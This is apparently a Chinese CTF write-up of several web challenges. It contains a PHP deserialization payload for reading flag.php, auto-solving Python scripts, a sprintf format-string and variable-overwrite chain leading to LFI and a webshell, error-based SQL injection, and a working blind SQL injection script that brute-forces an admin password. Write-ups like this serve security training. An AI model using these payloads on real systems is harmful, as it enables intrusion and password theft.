首先看源码
发现了base64,这边我们进行解码,可以看到
很明显,这里很有可能有一个文件读取漏洞,我们尝试读取index.php
然后尝试读取hint.php
很明显,是一个反序列化的题目,很简单,绕过__wakeup函数,然后使得file=flag.php即可
payload:
<?php
error_reporting(0);
//flag is in flag.php
class hint{
public $file='';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
//function __wakeup(){ $this-> file='index.php'; }
public function __toString(){return '' ;}
}
$test=new hint();
$test->file='flag.php';
echo serialize($test);
?>
最终的payload为
O:4:"hint":2:{s:4:"file";s:8:"flag.php";}
这种题,一看就没什么营养,考编写脚本的能力,直接编写python脚本,跑10次就可以了
exp如下:
# -*- coding: utf-8 -*-
import requests
import time
url="http://120.55.43.255:13001/"
ttt=requests.session()
s=ttt.get(url)
rrr=s.text
for j in range(10):
print rrr
p=rrr[156:-88].replace("</div>","")
print p
exp=p.replace("=","")
print eval(exp)
time.sleep(1)
data={
"ans":str(eval(exp))
}
r=ttt.post(url,data=data)
print r.text
rrr=r.text
结果:
和第一题差不多,只不过脚本麻烦了一丢丢,直接上脚本
# -*- coding: utf-8 -*-
import requests
import time
url="http://120.55.43.255:13002/"
ttt=requests.session()
s=ttt.get(url)
rrr=s.text
for j in range(10):
p=rrr[156:-88].replace("</div>","")
print p
print len(p)
x=int(len(p)/42)
exp=""
for i in range(1,x):
exp=exp+str(p[(i-1)*43+42])
time.sleep(1)
data={
"ans":str(eval(exp))
}
r=ttt.post(url,data=data)
print r.text
rrr=r.text
上来看源码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('secret_key.php');
if(!empty($_GET["name"])) {
$arr = array($_GET["name"],$secret_key);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
echo $data;
}
if( ($secret_key) === $_GET['key']){
echo "<br>you get the key<br>";
$first='aa';
$ccc='amdin';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="u")
{
echo "<br>shi fu 666<br>";
$file='phpinfo.php';
$func = $_GET['function'];
call_user_func($func,$_GET);
if($ccc==="F1ag")
{
echo "<br>tqltqltqltqltql<br>";
require('class.php');
include($file);
}
}
else
{
echo "Can you hack me?<br>";
}
}
首先看到的是sprintf函数,这个考点在DDCTF中出现过,sprintf格式化字符串漏洞,我们直接赋值%s,可以把key给带出来。
然后我们继续看代码,得知,我们需要把$first变量赋值为u
这里我们可以看到,我们GET传的第一个变量可以进行变量覆盖,所以我们需要传第一个参数为fisrt=u
然后我们需要再看的是如何把$ccc赋值为F1ag,这里我们可以用到
将function给成extract函数,可以再传ccc变量,进行变量覆盖
这里我们可以看到,题目提示我们phpinfo,而且我们在disable_function中看到,已经禁用了太多的函数
!image-20191026190242745
那么我们可以想到的是phpinfo+LFI的用法,脚本大家可以自己去网上找一下
运行之后,这里我们把shell放到了cxc.php中,我们用蚁剑连上,可以看到flag的文件名,但是读不到文件
我们再用源代码用的file变量进行变量覆盖,成功读取到文件
这个题目比较玄学,过滤了or,最开始我想到的是过滤了or之后,无法用到information_schema,可以用mysql的另一个版本的表
实际操作之后,发现并不可以。
然后想到的是读取index.php和config.php,之前的byteCTF的堆叠注入题,曾经读取到了index.php文件(虽然后来发现没啥用)
脚本如下
然后发现文件也读不到,之后想到了报错注入,这个题一般的报错注入也是注入不出来的,因为concat被过滤掉了,那么我们就无法用~让报错函数进行报错。但是这个题有一个点是可以利用的
我们可以查询数据库中不存在的东西,让语句报错,把我们想要的东西给带出来,比如我们查询ppp()这个函数,那么数据库报错如下,成功带出数据库的名字
那么我们尝试去猜测表名
当我们查询admin这个表的时候,数据库实际上没有这个表,就会报错
当我们尝试查询flag表的时候,发现数据库没有报错,那么我们确定有flag这个表段
我们继续猜测flag表有flag字段
发现成功得到flag的一部分,继续用substr函数去搞出来另一部分
拼接一下即可得到flag
这个题,我们通过fuzz可以知道过滤了() = like regexp passwd username等,过滤了()那注入就很难办了,但是fuzz的时候,我发现有一个payload是可以用的
我们把这个payload放上去之后,可以发现,我们变成了vistor
然后我们进行一下union select 操作,发现有回显
我们可以测试出,表里有三个字段,那么一般第一个字段为id,第二个字段为username,第三个字段为passwd
我们可以根据之前王一航大佬之前做的一道题的wp的思路[1],来解这一道题
先拿本地测试来说
我们可以看到,当我们用到order by语句的时候,我们查询返回的数据,不一定是我们union select里面查询的东西。以这个题为例子,当用到order by语句的时候,我们order by 3的时候,那么将会把我们查询的东西,按照passwd字段的顺序进行输出,所以假设密码为bcd的时候,当我们从union select 1,2,'z'的时候,返回的字段为admin,因为只有第二个字段有回显,而排序之后,z比b要大,自然是返回admin,我们union select 1,2,'z'一直到union select 1,2,'b'的时候,回显一直是admin,当我们union select 1,2,'a'的时候,回显则会变为2。通过这一变化,我们可以进行布尔盲注,最终把整个admin的密码给跑出来
但是这里,我进行爆破的时候,发现无论怎样,都不会回显出admin,赛后发现我对语句的理解有一点问题
根据这个payload我们可以猜测,后台的查询语句可能是select * from user where username = '\$username' and passwd = '\$passwd'
我们可以构造
username=-1'or 1 union select 1,2,'c' order by 3#&passwd=
我们可以看到 为'c'的时候,返回的还是2
当为'd'的时候,返回变为了admin
然后我们就可以编写脚本进行爆破
脚本如下
# write by blingdog
import requests
import base64
url = 'http://120.55.43.255:13004/login.php'
temp="0123456789abcdefghijklmnopqrstuvwxyz"
key=""
for i in range(32):
flag=0
for j in temp:
payload="-1'or 1 union select 1,2,'{}{}' order by 3#".format(key,j)
# print payload
data ={
"username":payload,
"passwd":""
}
headers={
"Cookie":"PHPSESSID=odec3oteiig0tljh5jfl4121m7"
}
s=requests.post(url,data=data,headers=headers)
flag=flag+1
# print s.text
if "admin" in s.text:
key=key+temp[flag-2]
print key
break
结果如下
[1]https://www.cnblogs.com/deen-/p/7008939.html